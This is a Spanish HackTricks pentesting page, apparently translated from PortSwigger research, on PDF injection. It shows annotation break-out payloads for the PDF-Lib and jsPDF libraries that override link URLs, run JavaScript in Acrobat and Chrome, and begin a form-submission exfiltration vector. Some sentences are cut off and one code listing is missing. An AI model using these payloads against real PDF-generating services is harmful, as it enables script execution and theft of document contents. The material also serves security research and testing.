hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si tu entrada se refleja dentro de un archivo PDF, puedes intentar inyectar datos PDF para ejecutar JavaScript o robar el contenido del PDF.

La siguiente información fue tomada de https://portswigger.net/research/portable-data-exfiltration

PDF-Lib

Esta vez, estaba usando PDFLib. Me tomé un tiempo para usar la biblioteca para crear una anotación y ver si podía inyectar un paréntesis de cierre en la URI de la anotación, ¡y funcionó! El código vulnerable de muestra que utilicé para generar el código de anotación fue:

...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...

Código completo:

¿Cómo supe que la inyección fue exitosa? El PDF se renderizaría correctamente a menos que inyectara un paréntesis de cierre. Esto demostró que el paréntesis de cierre estaba rompiendo la cadena y causando código PDF no válido. Romper el PDF fue bueno, pero necesitaba asegurarme de que podía ejecutar JavaScript, por supuesto. Miré el código PDF renderizado y noté que la salida estaba siendo codificada usando el filtro FlateDecode. Escribí un pequeño script para desinflar el bloque y la salida de la sección de anotación se veía así:<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>

Como se puede ver claramente, la cadena de inyección está cerrando el límite de texto con un paréntesis de cierre, lo que deja un paréntesis de cierre existente que hace que el PDF se renderice incorrectamente:

Captura de pantalla que muestra un cuadro de diálogo de error al cargar el PDF

Genial, así que pude romper la renderización del PDF, ¿y ahora qué? Necesitaba idear una inyección que llamara a algún JavaScript, la alerta(1) de la inyección PDF.

Al igual que los vectores XSS dependen del análisis del navegador, la explotabilidad de la inyección PDF puede depender del renderizador PDF. Decidí comenzar apuntando a Acrobat porque pensé que los vectores er

Chrome

He hablado mucho sobre Acrobat, pero ¿qué hay de PDFium (lector de PDF de Chrome)? Chrome es complicado; la superficie de ataque es mucho más pequeña ya que su soporte de JavaScript es más limitado que el de Acrobat. Lo primero que noté fue que JavaScript no se estaba ejecutando en las anotaciones en absoluto, por lo que mis pruebas de concepto no funcionaban. Para hacer que los vectores funcionen en Chrome, necesitaba al menos ejecutar JavaScript dentro de las anotaciones. Primero, decidí intentar sobrescribir una URL en una anotación. Esto fue bastante fácil. Podía usar la inyección base que había creado antes e inyectar simplemente otra acción con una entrada URI que sobrescribiría la URL existente: var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');

Esto navegaría a portswigger.net cuando se hace clic. Luego, seguí intentando diferentes inyecciones para llamar a JavaScript, pero esto fallaría cada vez. Pensé que era imposible hacerlo. Di un paso atrás e intenté construir manualmente un PDF completo que llamara a JavaScript desde un clic en Chrome sin una inyección. Al usar un botón AcroForm, Chrome permitiría la ejecución de JavaScript, pero el problema era que requería referencias a partes del PDF. Logré crear una inyección que ejecutaría JavaScript desde un clic en JSPDF: var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test');

Como puede ver, el vector anterior requiere conocimiento de la estructura PDF. [ 3 0 R] se refiere a un objeto PDF específico y si estuviéramos haciendo un ataque de inyección de PDF ciego, no conoceríamos su estructura. Aún así, la siguiente etapa es intentar una presentación de formulario. Podemos usar la función submitForm para esto, y como la anotación requiere un clic, Chrome lo permitirá: `/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Sub